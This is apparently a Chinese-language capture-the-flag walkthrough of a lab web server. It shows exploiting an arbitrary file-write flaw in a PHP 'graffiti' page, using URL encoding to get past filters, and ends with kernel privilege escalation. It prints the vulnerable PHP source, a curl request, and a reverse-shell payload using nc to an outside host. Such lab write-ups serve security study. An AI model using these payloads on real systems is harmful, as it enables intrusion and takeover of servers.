端口扫描
22 80 81 其中80和81都是web服务,81为nginx
目录爆破时候发现了graffiti.txt和php文件
这里发现提交的message会保存在同名的txt文件下,同时会过滤一些东西。
同时发现参数中存在一个file文件
curl -X POST http://10.10.1.138/graffiti.php --data 'message=&file=graffiti.php'
我们尝试去请求 同名的php文件,看是否能读取
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<h1>
<br>
<center>
<br>
Nebuchadnezzar Graffiti Wall
<br>
<br>
</center>
<br>
</h1>
<br>
<p>
<br>
<?php
<br>
<br>
$file="graffiti.txt";
<br>
if($_SERVER['REQUEST_METHOD'] == 'POST') {
<br>
if (isset($_POST['file'])) {
<br>
$file=$_POST['file'];
<br>
}
<br>
if (isset($_POST['message'])) {
<br>
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
<br>
fwrite($handle, $_POST['message']);
<br>
fwrite($handle, "\n");
<br>
fclose($file);
<br>
}
<br>
}
<br>
<br>
// Display file
<br>
$handle = fopen($file,"r");
<br>
while (!feof($handle)) {
<br>
echo fgets($handle);
<br>
echo "<br>\n";
<br>
}
<br>
fclose($handle);
这段代码会把我们提交的message参数的值写入提交的file中。
那么我们可以利用这个点向文件写入后门
这里我们可以测试,用url编码可以绕过限制
对<?php phpinfo?>进行编码
%3C%3Fphp+phpinfo%28%29%3B%3F%3E
写入一个文件中
追加的特性,如果不存在就直接创建一个
到这我们就可以写入我们的shell了,但是经过尝试/bin/bash 和nc的都不行,但执行web后门可以
反弹shell要用这个
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.128 80 >/tmp/f")?>
编码写入即可
权限提升
根目录下找到一个flag,提示我们去向史密斯找cypher的密码
在nginx的目录下可以找到cypher的密码
但是这个md5一直没撞到
后续找到是s*az但是这个密码并不正确,无奈只能尝试内核提权
经过尝试第二个可以使用
编译后执行时带上一个suid二进制文件即可提权成功
回头去看cypher这条路时发现好像最后还是要用内核提权。。。。
总结
撕开口子的地方还是通过目录扫描发现新的点,然后发现是一个存在限制的写入点,尝试用url绕过,最后利用系统漏洞提权。